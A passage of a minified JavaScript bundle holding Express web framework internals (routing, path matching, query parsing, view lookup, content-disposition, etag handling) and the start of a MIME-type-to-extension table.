charset=utf-8"),e.setHeader("Content-Length",Buffer.byteLength(i,"utf8")),t.method==="HEAD"){e.end();return}e.end(i,"utf8")}if(IA(t)){s();return}RA(t),U_(t,s),t.resume()}function zA(t,e){if(e)for(var r=Object.keys(e),n=0;n{"use strict";W_.exports=UA;function Z_(t,e,r){for(var n=0;n0&&Array.isArray(a)?Z_(a,e,r-1):e.push(a)}return e}function G_(t,e){for(var r=0;r{J_.exports=X_;var K_=/\\.|\((?:\?<(.*?)>)?(?!\?)/g;function X_(t,e,r){r=r||{},e=e||[];var n=r.strict,a=r.end!==!1,s=r.sensitive?"":"i",i=r.lookahead!==!1,o=0,c=e.length,u=0,l=0,d=0,f="",m;if(t instanceof RegExp){for(;m=K_.exec(t.source);)m[0][0]!=="\\"&&e.push({name:m[1]||l++,optional:!1,offset:m.index});return t}if(Array.isArray(t))return t=t.map(function(g){return X_(g,e,r).source}),new RegExp(t.join("|"),s);if(typeof t!="string")throw new TypeError("path must be a string, array of strings, or regular expression");for(t=t.replace(/\\.|(\/)?(\.)?:(\w+)(\(.*?\))?(\*)?(\?)?|[.*]|\/\(/g,function(g,b,p,h,y,v,_,S){if(g[0]==="\\")return f+=g,d+=2,g;if(g===".")return f+="\\.",o+=1,d+=1,"\\.";if(b||p?f="":f+=t.slice(d,S),d=S+g.length,g==="*")return o+=3,"(.*)";if(g==="/(")return f+="/",o+=2,"/(?:";b=b||"",p=p?"\\.":"",_=_||"",y=y?y.replace(/\\.|\*/,function(E){return E==="*"?"(.*)":E}):f?"((?:(?!/|"+f+").)+?)":"([^/"+p+"]+?)",e.push({name:h,optional:!!_,offset:S+o});var x="(?:"+p+b+y+(v?"((?:[/"+p+"].+?)?)":"")+")"+_;return o+=x.length-g.length,x});m=K_.exec(t);)m[0][0]!=="\\"&&((c+u===e.length||e[c+u].offset>m.index)&&e.splice(c+u,0,{name:l++,optional:!1,offset:m.index}),u++);return t+=n?"":t[t.length-1]==="/"?"?":"/?",a?t+="$":t[t.length-1]!=="/"&&(t+=i?"(?=/|$)":"(?:/|$)"),new RegExp("^"+t,s)}});var hp=V((UZ,eb)=>{"use strict";var HA=Y_(),BA=vr()("express:router:layer"),VA=Object.prototype.hasOwnProperty;eb.exports=gs;function gs(t,e,r){if(!(this instanceof gs))return new gs(t,e,r);BA("new %o",t);var n=e||{};this.handle=r,this.name=r.name||"",this.params=void 0,this.path=void 0,this.regexp=HA(t,this.keys=[],n),this.regexp.fast_star=t==="*",this.regexp.fast_slash=t==="/"&&n.end===!1}gs.prototype.handle_error=function(e,r,n,a){var s=this.handle;if(s.length!==4)return a(e);try{s(e,r,n,a)}catch(i){a(i)}};gs.prototype.handle_request=function(e,r,n){var a=this.handle;if(a.length>3)return n();try{a(e,r,n)}catch(s){n(s)}};gs.prototype.match=function(e){var r;if(e!=null){if(this.regexp.fast_slash)return this.params={},this.path="",!0;if(this.regexp.fast_star)return this.params={0:Q_(e)},this.path=e,!0;r=this.regexp.exec(e)}if(!r)return this.params=void 0,this.path=void 0,!1;this.params={},this.path=r[0];for(var n=this.keys,a=this.params,s=1;s{"use strict";var tb=require("http");rb.exports=ZA()||GA();function ZA(){return tb.METHODS&&tb.METHODS.map(function(e){return e.toLowerCase()})}function GA(){return["get","post","put","head","delete","options","trace","copy","lock","mkcol","move","purge","propfind","proppatch","unlock","report","mkactivity","checkout","merge","m-search","notify","subscribe","unsubscribe","patch","search","connect"]}});var vp=V((BZ,cb)=>{"use strict";var ab=vr()("express:router:route"),nb=Zi(),sb=hp(),WA=Oc(),ib=Array.prototype.slice,ob=Object.prototype.toString;cb.exports=ys;function ys(t){this.path=t,this.stack=[],ab("new %o",t),this.methods={}}ys.prototype._handles_method=function(e){if(this.methods._all)return!0;var r=typeof e=="string"?e.toLowerCase():e;return r==="head"&&!this.methods.head&&(r="get"),!!this.methods[r]};ys.prototype._options=function(){var e=Object.keys(this.methods);this.methods.get&&!this.methods.head&&e.push("head");for(var r=0;r100)return setImmediate(c,u);var l=s[a++];if(!l)return n(u);l.method&&l.method!==o?c(u):u?l.handle_error(u,e,r,c):l.handle_request(e,r,c),i=0}};ys.prototype.all=function(){for(var e=nb(ib.call(arguments)),r=0;r{ub=lb.exports=function(t,e){if(t&&e)for(var r in e)t[r]=e[r];return t}});var yp=V((VZ,mb)=>{"use strict";var KA=vp(),pb=hp(),XA=Oc(),gp=Gi(),Cc=vr()("express:router"),db=Vr()("express"),JA=Zi(),YA=vs(),QA=bi(),eN=/^\[object (\S+)\]$/,fb=Array.prototype.slice,tN=Object.prototype.toString,un=mb.exports=function(t){var e=t||{};function r(n,a,s){r.handle(n,a,s)}return QA(r,un),r.params={},r._params=[],r.caseSensitive=e.caseSensitive,r.mergeParams=e.mergeParams,r.strict=e.strict,r.stack=[],r};un.param=function(e,r){if(typeof e=="function"){db("router.param(fn): Refactor to use path params"),this._params.push(e);return}var n=this._params,a=n.length,s;e[0]===":"&&(db("router.param("+JSON.stringify(e)+", fn): Use router.param("+JSON.stringify(e.slice(1))+", fn) instead"),e=e.slice(1));for(var i=0;i=f.length){setImmediate(b,v);return}if(++u>100)return setImmediate(p,y);var _=aN(e);if(_==null)return b(v);for(var S,x,E;x!==!0&&s=o.length)return s();if(l=0,d=o[c++],u=d.name,f=n.params[u],m=i[u],g=r[u],f===void 0||!m)return b();if(g&&(g.match===f||g.error&&g.error!=="route"))return n.params[u]=g.value,b(g.error);r[u]=g={error:null,match:f,value:f},p()}function p(h){var y=m[l++];if(g.value=n.params[d.name],h){g.error=h,b(h);return}if(!y)return b();try{y(n,a,p,f,d.name)}catch(v){p(v)}}b()};un.use=function(e){var r=0,n="/";if(typeof e!="function"){for(var a=e;Array.isArray(a)&&a.length!==0;)a=a[0];typeof a!="function"&&(r=1,n=e)}var s=JA(fb.call(arguments,r));if(s.length===0)throw new TypeError("Router.use() requires a middleware function");for(var i=0;i");var o=new pb(n,{sensitive:this.caseSensitive,strict:!1,end:!1},e);o.route=void 0,this.stack.push(o)}return this};un.route=function(e){var r=new KA(e),n=new pb(e,{sensitive:this.caseSensitive,strict:this.strict,end:!0},r.dispatch.bind(r));return n.route=r,this.stack.push(n),r};XA.concat("all").forEach(function(t){un[t]=function(e){var r=this.route(e);return r[t].apply(r,fb.call(arguments,1)),this}});function rN(t,e){for(var r=0;r=0;n--)t[n+a]=t[n],n{"use strict";var hb=bi();vb.init=function(t){return function(r,n,a){t.enabled("x-powered-by")&&n.setHeader("X-Powered-By","Express"),r.res=n,n.req=r,r.next=a,hb(r,t.request),hb(n,t.response),n.locals=n.locals||Object.create(null),a()}}});var _p=V((GZ,yb)=>{"use strict";var dN=Gi(),pN=vs(),fN=Tc();yb.exports=function(e){var r=dN({},e),n=fN.parse;return typeof e=="function"&&(n=e,r=void 0),r!==void 0&&r.allowPrototypes===void 0&&(r.allowPrototypes=!0),function(s,i,o){if(!s.query){var c=pN(s).query;s.query=n(c,r)}o()}}});var Sb=V((WZ,wb)=>{"use strict";var Ic=vr()("express:view"),Wi=require("path"),mN=require("fs"),hN=Wi.dirname,xb=Wi.basename,vN=Wi.extname,_b=Wi.join,gN=Wi.resolve;wb.exports=Ac;function Ac(t,e){var r=e||{};if(this.defaultEngine=r.defaultEngine,this.ext=vN(t),this.name=t,this.root=r.root,!this.ext&&!this.defaultEngine)throw new Error("No default engine was specified and no extension was provided.");var n=t;if(this.ext||(this.ext=this.defaultEngine[0]!=="."?"."+this.defaultEngine:this.defaultEngine,n+=this.ext),!r.engines[this.ext]){var a=this.ext.slice(1);Ic('require "%s"',a);var s=require(a).__express;if(typeof s!="function")throw new Error('Module "'+a+'" does not provide a view engine.');r.engines[this.ext]=s}this.engine=r.engines[this.ext],this.path=this.lookup(n)}Ac.prototype.lookup=function(e){var r,n=[].concat(this.root);Ic('lookup "%s"',e);for(var a=0;a{var Nc=require("buffer"),Jr=Nc.Buffer;function Eb(t,e){for(var r in t)e[r]=t[r]}Jr.from&&Jr.alloc&&Jr.allocUnsafe&&Jr.allocUnsafeSlow?Tb.exports=Nc:(Eb(Nc,bp),bp.Buffer=ln);function ln(t,e,r){return Jr(t,e,r)}ln.prototype=Object.create(Jr.prototype);Eb(Jr,ln);ln.from=function(t,e,r){if(typeof t=="number")throw new TypeError("Argument must not be a number");return Jr(t,e,r)};ln.alloc=function(t,e,r){if(typeof t!="number")throw new TypeError("Argument must be a number");var n=Jr(t);return e!==void 0?typeof r=="string"?n.fill(e,r):n.fill(e):n.fill(0),n};ln.allocUnsafe=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Jr(t)};ln.allocUnsafeSlow=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Nc.SlowBuffer(t)}});var wp=V((KZ,xp)=>{"use strict";xp.exports=RN;xp.exports.parse=IN;var kb=require("path").basename,yN=jc().Buffer,_N=/[\x00-\x20"'()*,/:;<=>?@[\\\]{}\x7f]/g,bN=/%[0-9A-Fa-f]{2}/,xN=/%([0-9A-Fa-f]{2})/g,Rb=/[^\x20-\x7e\xa0-\xff]/g,wN=/\\([\u0000-\u007f])/g,SN=/([\\"])/g,$b=/;[\x09\x20]*([!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*=[\x09\x20]*("(?:[\x20!\x23-\x5b\x5d-\x7e\x80-\xff]|\\[\x20-\x7e])*"|[!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*/g,EN=/^[\x20-\x7e\x80-\xff]+$/,TN=/^[!#$%&'*+.0-9A-Z^_`a-z|~-]+$/,kN=/^([A-Za-z0-9!#$%&+\-^_`{}~]+)'(?:[A-Za-z]{2,3}(?:-[A-Za-z]{3}){0,3}|[A-Za-z]{4,8}|)'((?:%[0-9A-Fa-f]{2}|[A-Za-z0-9!#$&+.^_`|~-])+)$/,$N=/^([!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*(?:$|;)/;function RN(t,e){var r=e||{},n=r.type||"attachment",a=PN(t,r.fallback);return ON(new Ob(n,a))}function PN(t,e){if(t!==void 0){var r={};if(typeof t!="string")throw new TypeError("filename must be a string");if(e===void 0&&(e=!0),typeof e!="string"&&typeof e!="boolean")throw new TypeError("fallback must be a string or boolean");if(typeof e=="string"&&Rb.test(e))throw new TypeError("fallback must be ISO-8859-1 string");var n=kb(t),a=EN.test(n),s=typeof e!="string"?e&&Pb(n):kb(e),i=typeof s=="string"&&s!==n;return(i||!a||bN.test(n))&&(r["filename*"]=n),(a||i)&&(r.filename=i?s:n),r}}function ON(t){var e=t.parameters,r=t.type;if(!r||typeof r!="string"||!TN.test(r))throw new TypeError("invalid type");var n=String(r).toLowerCase();if(e&&typeof e=="object")for(var a,s=Object.keys(e).sort(),i=0;i{"use strict";Cb.exports=FN;var DN=/(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g,qN=/(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g,LN="$1\uFFFD$2";function FN(t){return String(t).replace(qN,LN).replace(DN,encodeURI)}});var Sp=V((JZ,jb)=>{"use strict";jb.exports=HN;var zN=require("crypto"),Ab=require("fs").Stats,Nb=Object.prototype.toString;function UN(t){if(t.length===0)return'"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"';var e=zN.createHash("sha1").update(t,"utf8").digest("base64").substring(0,27),r=typeof t=="string"?Buffer.byteLength(t,"utf8"):t.length;return'"'+r.toString(16)+"-"+e+'"'}function HN(t,e){if(t==null)throw new TypeError("argument entity is required");var r=BN(t),n=e&&typeof e.weak=="boolean"?e.weak:r;if(!r&&typeof t!="string"&&!Buffer.isBuffer(t))throw new TypeError("argument entity must be string, Buffer, or fs.Stats");var a=r?VN(t):UN(t);return n?"W/"+a:a}function BN(t){return typeof Ab=="function"&&t instanceof Ab?!0:t&&typeof t=="object"&&"ctime"in t&&Nb.call(t.ctime)==="[object Date]"&&"mtime"in t&&Nb.call(t.mtime)==="[object Date]"&&"ino"in t&&typeof t.ino=="number"&&"size"in t&&typeof t.size=="number"}function VN(t){var e=t.mtime.getTime().toString(16),r=t.size.toString(16);return'"'+r+"-"+e+'"'}});var Ep=V((YZ,Db)=>{"use strict";var ZN=/(?:^|,)\s*?no-cache\s*?(?:,|$)/;Db.exports=GN;function GN(t,e){var r=t["if-modified-since"],n=t["if-none-match"];if(!r&&!n)return!1;var a=t["cache-control"];if(a&&ZN.test(a))return!1;if(n&&n!=="*"){var s=e.etag;if(!s)return!1;for(var i=!0,o=WN(n),c=0;c{KN.exports={"application/andrew-inset":["ez"],"application/applixware":["aw"],"application/atom+xml":["atom"],"application/atomcat+xml":["atomcat"],"application/atomsvc+xml":["atomsvc"],"application/bdoc":["bdoc"],"application/ccxml+xml":["ccxml"],"application/cdmi-capability":["cdmia"],"application/cdmi-container":["cdmic"],"application/cdmi-domain":["cdmid"],"application/cdmi-object":["cdmio"],"application/cdmi-queue":["cdmiq"],"application/cu-seeme":["cu"],"application/dash+xml":["mpd"],"application/davmount+xml":["davmount"],"application/docbook+xml":["dbk"],"application/dssc+der":["dssc"],"application/dssc+xml":["xdssc"],"application/ecmascript":["ecma"],"application/emma+xml":["emma"],"application/epub+zip":["epub"],"application/exi":["exi"],"application/font-tdpfr":["pfr"],"application/font-woff":[],"application/font-woff2":[],"application/geo+json":["geojson"],"application/gml+xml":["gml"],"application/gpx+xml":["gpx"],"application/gxf":["gxf"],"application/gzip":["gz"],"application/hyperstudio":["stk"],"application/inkml+xml":["ink","inkml"],"application/ipfix":["ipfix"],"application/java-archive":["jar","war","ear"],"application/java-serialized-object":["ser"],"application/java-vm":["class"],"application/javascript":["js","mjs"],"application/json":["json","map"],"application/json5":["json5"],"application/jsonml+json":["jsonml"],"application/ld+json":["jsonld"],"application/lost+xml":["lostxml"],"application/mac-binhex40":["hqx"],"application/mac-compactpro":["cpt"],"application/mads+xml":["mads"],"application/manifest+json":["webmanifest"],"application/marc":["mrc"],"application/marcxml+xml":["mrcx"],"application/mathematica":["ma","nb","mb"],"application/mathml+xml":["mathml"],"application/mbox":["mbox"],"application/mediaservercontrol+xml":["mscml"],"application/metalink+xml":["metalink"],"application/metalink4+xml":["meta4"],"application/mets+xml":["mets"],"application/mods+xml":["mods"],"application/mp21":["m21","mp21"],"application/mp4":["mp4s","m4p"],"application/msword":["doc","dot"],"application/mxf":["mxf"],"application/octet-stream":["bin","dms","lrf","mar","so","dist","distz","pkg","bpk","dump","elc","deploy","exe","dll","deb","dmg","iso","img","msi","msp","msm","buffer"],"application/oda":["oda"],"application/oebps-package+xml":["opf"],"application/ogg":["ogx"],"application/omdoc+xml":["omdoc"],"application/onenote":["onetoc","onetoc2","onetmp","onepkg"],"application/oxps":["oxps"],"application/patch-ops-error+xml":["xer"],"application/pdf":["pdf"],"application/pgp-encrypted":["pgp"],"application/pgp-signature":["asc","sig"],"application/pics-rules":["prf"],"application/pkcs10":["p10"],"application/pkcs7-mime":["p7m","p7c"],"application/pkcs7-signature":["p7s"],"application/pkcs8":["p8"],"application/pkix-attr-cert":["ac"],"application/pkix-cert":["cer"],"application/pkix-crl":["crl"],"application/pkix-pkipath":["pkipath"],"application/pkixcmp":["pki"],"application/pls+xml":["pls"],"application/postscript":["ai","eps","ps"],"application/prs.cww":["cww"],"application/pskc+xml":["pskcxml"],"application/raml+yaml":["raml"],"application/rdf+xml":["rdf"],"application/reginfo+xml":["rif"],"application/relax-ng-compact-syntax":["rnc"],"application/resource-lists+xml":["rl"],"application/resource-lists-diff+xml":["rld"],"application/rls-services+xml":["rs"],"application/rpki-ghostbusters":["gbr"],"application/rpki-manifest":["mft"],"application/rpki-roa":["roa"],"application/rsd+xml":["rsd"],"application/rss+xml":["rss"],"application/rtf":["rtf"],"application/sbml+xml":["sbml"],"application/scvp-cv-request":["scq"],"application/scvp-cv-response":["scs"],"application/scvp-vp-request":["spq"],"application/scvp-vp-response":["spp"],"application/sdp":["sdp"],"application/set-payment-initiation":["setpay"],"application/set-registration-initiation":["setreg"],"application/shf+xml":["shf"],"application/smil+xml":["smi","smil"],"application/sparql-query":["rq"],"application/sparql-results+xml":["srx"],"application/srgs":["gram"],"application/srgs+xml":["grxml"],"application/sru+xml":["sru"],"application/ssdl+xml":["ssdl"],"application/ssml+xml":["ssml"],"application/tei+xml":["tei","teicorpus"],"application/thraud+xml":["tfi"],"application/timestamped-data":["tsd"],"application/vnd.3gpp.pic-bw-large":["plb"],"application/vnd.3gpp.pic-bw-small":["psb"],"application/vnd.3gpp.pic-bw-var":["pvb"],"application/vnd.3gpp2.tcap":["tcap"],"application/vnd.3m.post-it-notes":["pwn"],"application/vnd.accpac.simply.aso":["aso"],"application/vnd.accpac.simply.imp":["imp"],"application/vnd.acucobol":["acu"],"application/vnd.acucorp":["atc","acutc"],"application/vnd.adobe.air-application-installer-package+zip":["air"],"application/vnd.adobe.formscentral.fcdt":["fcdt"],"application/vnd.adobe.fxp":["fxp","fxpl"],"application/vnd.adobe.xdp+xml":["xdp"],"application/vnd.adobe.xfdf":["xfdf"],"application/vnd.ahead.space":["ahead"],"application/vnd.airzip.filesecure.azf":["azf"],"application/vnd.airzip.filesecure.azs":["azs"],"application/vnd.amazon.ebook":["azw"],"application/vnd.americandynamics.acc":["acc"],"application/vnd.amiga.ami":["ami"],"application/vnd.android.package-archive":["apk"],"application/vnd.anser-web-certificate-issue-initiation":["cii"],"application/vnd.anser-web-funds-transfer-initiation":["fti"],"application/vnd.antix.game-component":["atx"],"application/vnd.apple.installer+xml":["mpkg"],"application/vnd.apple.mpegurl":["m3u8"],"application/vnd.apple.pkpass":["pkpass"],"application/vnd.aristanetworks.swi":["swi"],"application/vnd.astraea-software.iota":["iota"],"application/vnd.audiograph":["aep"],"application/vnd.blueice.multipass":["mpm"],"application/vnd.bmi":["bmi"],"application/vnd.businessobjects":["rep"],"application/vnd.chemdraw+xml":["cdxml"],"application/vnd.chipnuts.karaoke-mmd":["mmd"],"application/vnd.cinderella":["cdy"],"application/vnd.claymore":["cla"],"application/vnd.cloanto.rp9":["rp9"],"application/vnd.clonk.c4group":["c4g","c4d","c4f","c4p","c4u"],"application/vnd.cluetrust.cartomobile-config":["c11amc"],"application/vnd.cluetrust.cartomobile-config-pkg":["c11amz"],"application/vnd.commonspace":["csp"],"application/vnd.contact.cmsg":["cdbcmsg"],"application/vnd.cosmocaller":["cmc"],"application/vnd.crick.clicker":["clkx"],"application/vnd.crick.clicker.keyboard":["clkk"],"application/vnd.crick.clicker.palette":["clkp"],"application/vnd.crick.clicker.template":["clkt"],"application/vnd.crick.clicker.wordbank":["clkw"],"application/vnd.criticaltools.wbs+xml":["wbs"],"application/vnd.ctc-posml":["pml"],"application/vnd.cups-ppd":["ppd"],"application/vnd.curl.car":["car"],"application/vnd.curl.pcurl":["pcurl"],"application/vnd.dart":["dart"],"application/vnd.data-vision.rdz":["rdz"],"application/vnd.dece.data":["uvf","uvvf","uvd","uvvd"],"application/vnd.dece.ttml+xml":["uvt","uvvt"],"application/vnd.dece.unspecified":["uvx","uvvx"],"application/vnd.dece.zip":["uvz","uvvz"],"application/vnd.denovo.fcselayout-link":["fe_launch"],"application/vnd.dna":["dna"],"application/vnd.dolby.mlp":["mlp"],"application/vnd.dpgraph":["dpg"],"application/vnd.dreamfactory":["dfac"],"application/vnd.ds-keypoint":["kpxx"],"application/vnd.dvb.ait":["ait"],"application/vnd.dvb.service":["svc"],"application/vnd.dynageo":["geo"],"application/vnd.ecowin.chart":["mag"],"application/vnd.enliven":["nml"],"application/vnd.epson.esf":["esf"],"application/vnd.epson.msf":["msf"],"application/vnd.epson.quickanime":["qam"],"application/vnd.epson.salt":["slt"],"application/vnd.epson.ssf":["ssf"],"application/vnd.eszigno3+xml":["es3","et3"],"application/vnd.ezpix-album":["ez2"],"application/vnd.ezpix-package":["ez3"],"application/vnd.fdf":["fdf"],"application/vnd.fdsn.mseed":["mseed"],"application/vnd.fdsn.seed":["seed","dataless"],"application/vnd.flographit":["gph"],"application/vnd.fluxtime.clip":["ftc"],"application/vnd.framemaker":["fm","frame","maker","book"],"application/vnd.frogans.fnc":["fnc"],"application/vnd.frogans.ltf":["ltf"],"application/vnd.fsc.weblaunch":["fsc"],"application/vnd.fujitsu.oasys":["oas"],"application/vnd.fujitsu.oasys2":["oa2"],"application/vnd.fujitsu.oasys3":["oa3"],"application/vnd.fujitsu.oasysgp":["fg5"],"application/vnd.fujitsu.oasysprs":["bh2"],"application/vnd.fujixerox.ddd":["ddd"],"application/vnd.fujixerox.docuworks":["xdw"],"application/vnd.fujixerox.docuworks.binder":["xbd"],"application/vnd.fuzzysheet":["fzs"],"application/vnd.genomatix.tuxedo":["txd"],"application/vnd.geogebra.file":["ggb"],"application/vnd.geogebra.tool":["ggt"],"application/vnd.geometry-explorer":["gex","gre"],"application/vnd.geonext":["gxt"],"application/vnd.geoplan":["g2w"],"application/vnd.geospace":["g3w"],"application/vnd.gmx":["gmx"],"application/vnd.google-apps.document":["gdoc"],"application/vnd.google-apps.presentation":["gslides"],"application/vnd.google-apps.spreadsheet":["gsheet"],"application/vnd.google-earth.kml+xml":["kml"],"application/vnd.google-earth.kmz":["kmz"],"application/vnd.grafeq":["gqf","gqs"],"application/vnd.groove-account":["gac"],"application/vnd.groove-help":["ghf"],"application/vnd.groove-identity-message":["gim"],"application/vnd.groove-injector":["grv"],"application/vnd.groove-tool-message":["gtm"],"application/vnd.groove-tool-template":["tpl"],"application/vnd.groove-vcard":["vcg"],"application/vnd.hal+xml":["hal"],"application/vnd.handheld-entertainment+xml":["zmm"],"application/vnd.hbci":["hbci"],"application/vnd.hhe.lesson-player":["les"],"application/vnd.hp-hpgl":["hpgl"],"application/vnd.hp-hpid":["hpid"],"application/vnd.hp-hps":["hps"],"application/vnd.hp-jlyt":["jlt"],"application/vnd.hp-pcl":["pcl"],"application/vnd.hp-pclxl":["pclxl"],"application/vnd.hydrostatix.sof-data":["sfd-hdstx"],"application/vnd.ibm.minipay":["mpy"],"application/vnd.ibm.modcap":["afp","listafp","list3820"],"application/vnd.ibm.rights-management":["irm"],"application/vnd.ibm.secure-container":["sc"],"application/vnd.iccprofile":["icc","icm"],"application/vnd.igloader":["igl"],"application/vnd.immervision-ivp":["ivp"],"application/vnd.immervision-ivu":["ivu"],"application/vnd.insors.igm":["igm"],"application/vnd.intercon.formnet":["xpw","xpx"],"application/vnd.intergeo":["i2g"],"application/vnd.intu.qbo":["qbo"],"application/vnd.intu.qfx":["qfx"],"application/vnd.ipunplugged.rcprofile":["rcprofile"],"application/vnd.irepository.package+xml":["irp"],"application/vnd.is-xpr":["xpr"],"application/vnd.isac.fcs":["fcs"],"application/vnd.jam":["jam"],"application/vnd.jcp.javame.midlet-rms":["rms"],"application/vnd.jisp":["jisp"],"application/vnd.joost.joda-archive":["joda"],"application/vnd.kahootz":["ktz","ktr"],"application/vnd.kde.karbon":["karbon"],"application/vnd.kde.kchart":["chrt"],"application/vnd.kde.kformula":["kfo"],"application/vnd.kde.kivio":["flw"],"application/vnd.kde.kontour":["kon"],"application/vnd.kde.kpresenter":["kpr","kpt"],"application/vnd.kde.kspread":["ksp"],"application/vnd.kde.kword":["kwd","kwt"],"application/vnd.kenameaapp":["htke"],"application/vnd.kidspiration":["kia"],"application/vnd.kinar":["kne","knp"],"application/vnd.koan":["skp","skd","skt","skm"],"application/vnd.kodak-descriptor":["sse"],"application/vnd.las.las+xml":["lasxml"],"application/vnd.llamagraphics.life-balance.desktop":["lbd"],"application/vnd.llamagraphics.life-balance.exchange+xml":["lbe"],"application/vnd.lotus-1-2-3":["123"],"application/vnd.lotus-approach":["apr"],"application/vnd.lotus-freelance":["pre"],"application/vnd.lotus-notes":["nsf"],"application/vnd.lotus-organizer":["org"],"application/vnd.lotus-screencam":["scm"],"application/vnd.lotus-wordpro":["lwp"],"application/vnd.macports.portpkg":["portpkg"],"application/vnd.mcd":["mcd"],"application/vnd.medcalcdata":["mc1"],"application/vnd.mediastation.cdkey":["cdkey"],"application/vnd.mfer":["mwf"],"application/vnd.mfmp":["mfm"],"application/vnd.micrografx.flo":["flo"],"application/vnd.micrografx.igx":["igx"],"application/vnd.mif":["mif"],"application/vnd.mobius.daf":["daf"],"application/vnd.mobius.dis":["dis"],"application/vnd.mobius.mbk":["mbk"],"application/vnd.mobius.mqy":["mqy"],"application/vnd.mobius.msl":["msl"],"application/vnd.mobius.plc":["plc"],"application/vnd.mobius.txf":["txf"],"application/vnd.mophun.application":["mpn"],"application/vnd.mophun.certificate":["mpc"],"application/vnd.mozilla.xul+xml":["xul"],"application/vnd.ms-artgalry":["cil"],"application/vnd.ms-cab-compressed":["cab"],"application/vnd.ms-excel":["xls","xlm","xla","xlc","xlt","xlw"],"application/vnd.ms-excel.addin.macroenabled.12":["xlam"],"application/vnd.ms-excel.sheet.binary.macroenabled.12":["xlsb"],"application/vnd.ms-excel.sheet.macroenabled.12":["xlsm"],"application/vnd.ms-excel.template.macroenabled.12":["xltm"],"application/vnd.ms-fontobject":["eot"],"application/vnd.ms-htmlhelp":["chm"],"application/vnd.ms-ims":["ims"],"application/vnd.ms-lrm":["lrm"],"application/vnd.ms-officetheme":["thmx"],"application/vnd.ms-outlook":["msg"],"application/vnd.ms-pki.seccat":["cat"],"application/vnd.ms-pki.stl":["stl"],"application/vnd.ms-powerpoint":["ppt","pps","pot"],"application/vnd.ms-powerpoint.addin.macroenabled.12":["ppam"],"application/vnd.ms-powerpoint.presentation.macroenabled.12":["pptm"],"application/vnd.ms-powerpoint.slide.macroenabled.12":["sldm"],"application/vnd.ms-powerpoint.slideshow.macroenabled.12":["ppsm"],"application/vnd.ms-powerpoint.template.macroenabled.12":["potm"],"application/vnd.ms-project":["mpp","mpt"],"application/vnd.ms-word.document.macroenabled.12":["docm"],"application/vnd.ms-word.template.macroenabled.12":["dotm"],"application/vnd.ms-works":["wps","wks","wcm","wdb"],"application/vnd.ms-wpl":["wpl"],"application/vnd.ms-xpsdocument":["xps"],"application/vnd.mseq":["mseq"],"application/vnd.musician":["mus"],"application/vnd.muvee.style":["msty"],"application/vnd.mynfc":["taglet"],"application/vnd.neurolanguage.nlu":["nlu"],"application/vnd.nitf":["ntf","nitf"],"application/vnd.noblenet-directory":["nnd"],"application/vnd.noblenet-sealer":["nns"],"application/vnd.noblenet-web":["nnw"],"application/vnd.nokia.n-gage.data":["ngdat"],"application/vnd.nokia.n-gage.symbian.install":["n-gage"],"application/vnd.nokia.radio-preset":["rpst"],"application/vnd.nokia.radio-presets":["rpss"],"application/vnd.novadigm.edm":["edm"],"application/vnd.novadigm.edx":["edx"],"application/vnd.novadigm.ext":["ext"],"application/vnd.oasis.opendocument.chart":["odc"],"application/vnd.oasis.opendocument.chart-template":["otc"],"application/vnd.oasis.opendocument.database":["odb"],"application/vnd.oasis.opendocument.formula":["odf"],"application/vnd.oasis.opendocument.formula-template":["odft"],"application/vnd.oasis.opendocument.graphics":["odg"],"application/vnd.oasis.opendocument.graphics-template":["otg"],"application/vnd.oasis.opendocument.image":["odi"],"application/vnd.oasis.opendocument.image-template":["oti"],"application/vnd.oasis.opendocument.presentation":["odp"],"application/vnd.oasis.opendocument.presentation-template":["otp"],"application/vnd.oasis.opendocument.spreadsheet":["ods"],"application/vnd.oasis.opendocument.spreadsheet-template":["ots"],"application/vnd.oasis.opendocument.text":["odt"],"application/vnd.oasis.opendocument.text-master":["odm"],"application/vnd.oasis.opendocument.text-template":["ott"],"application/vnd.oasis.opendocument.text-web":["oth"],"application/vnd.olpc-sugar":["xo"],"application/vnd.oma.dd2+xml":["dd2"],"application/vnd.openofficeorg.extension":["oxt"],"application/vnd.openxmlformats-officedocument.presentationml.presentation":["pptx"],"application/vnd.openxmlformats-officedocument.presentationml.slide":["sldx"],"application/vnd.openxmlformats-officedocument.presentationml.slideshow":["ppsx"],"application/vnd.openxmlformats-officedocument.presentationml.template":["potx"],"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":["xlsx"],"application/vnd.openxmlformats-officedocument.spreadsheetml.template":["xltx"],"application/vnd.openxmlformats-officedocument.wordprocessingml.document":["docx"],"application/vnd.openxmlformats-officedocument.wordprocessingml.template":["dotx"],"application/vnd.osgeo.mapguide.package":["mgp"],"application/vnd.osgi.dp":["dp"],"application/vnd.osgi.subsystem":["esa"],"application/vnd.palm":["pdb","pqa","oprc"],"application/vnd.pawaafile":["paw"],"application/vnd.pg.format":["str"],"application/vnd.pg.osasli":["ei6"],"application/vnd.picsel":["efif"],"application/vnd.pmi.widget":["wg"],"application/vnd.pocketlearn":["plf"],"application/vnd.powerbuilder6":["pbd"],"application/vnd.previewsystems.box":["box"],"application/vnd.proteus.magazine":["mgz"],"application/vnd.publishare-delta-tree":["qps"],"application/vnd.pvi.ptid1":["ptid"],"application/vnd.quark.quarkxpress":["qxd","qxt","qwd","qwt","qxl","qxb"],"application/vnd.realvnc.bed":["bed"],"application/vnd.recordare.musicxml":["mxl"],"application/vnd.recordare.musicxml+xml":["musicxml"],"application/vnd.rig.cryptonote":["cryptonote"],"application/vnd.rim.cod":["cod"],"application/vnd.rn-realmedia":["rm"],"application/vnd.rn-realmedia-vbr":["rmvb"],"application/vnd.route66.link66+xml":["link66"],"application/vnd.sailingtracker.track":["st"],"application/vnd.seemail":["see"],"application/vnd.sema":["sema"],"application/vnd.semd":["semd"],"application/vnd.semf":["semf"],"application/vnd.shana.informed.formdata":["ifm"],"application/vnd.shana.informed.formtemplate":["itp"],"application/vnd.shana.informed.interchange":["iif"],"application/vnd.shana.informed.package":["ipk"],"application/vnd.simtech-mindmap